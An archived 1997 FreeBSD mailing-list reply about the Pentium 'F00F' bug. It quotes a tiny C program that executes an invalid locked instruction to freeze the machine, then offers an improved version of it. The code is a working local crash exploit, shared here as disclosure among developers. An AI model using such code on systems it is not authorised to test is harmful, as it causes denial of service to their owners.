Date: Mon, 10 Nov 1997 01:32:31 -0800 (PST) From: Julian Elischer <julian@whistle.com> To: Michael Richards <026809r@dragon.acadiau.ca> Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Crashing FreeBSD Message-ID: <Pine.BSF.3.95.971110012605.6078A-100000@current1.whistle.com> In-Reply-To: <199711100059.UAA23095@dragon.acadiau.ca>
next in thread | previous in thread | raw e-mail | index | archive | help
Where have you been? :) this is the same program that archie (in the next cube) and I wrote and posted last week.. looks like it's made full circle and made it back here.. :) p.s her are soem slight improvements.. On Sun, 9 Nov 1997, Michael Richards wrote: > Well folks, it looks like anyone can crash a FreeBSD box. I am told that > this is a bug in the pentium processor. Compile and run, it will crash the > machine right away... > > Very simple: > > > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 }; > > main () { > void (*f)() = x; > f(); > } > char x[] = {0xf0, 0x0f, 0xc7, 0xc8, 0xc3}; main() { void(*f)() = (void(*)(void))x; f(); } this one 1/ doesn't get so many warnimgs. 2/ is corrct in that there is a ret instruction after the bad code. so people can't say "it's falling off the end".. (thanks SEF) julian
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.3.95.971110012605.6078A-100000>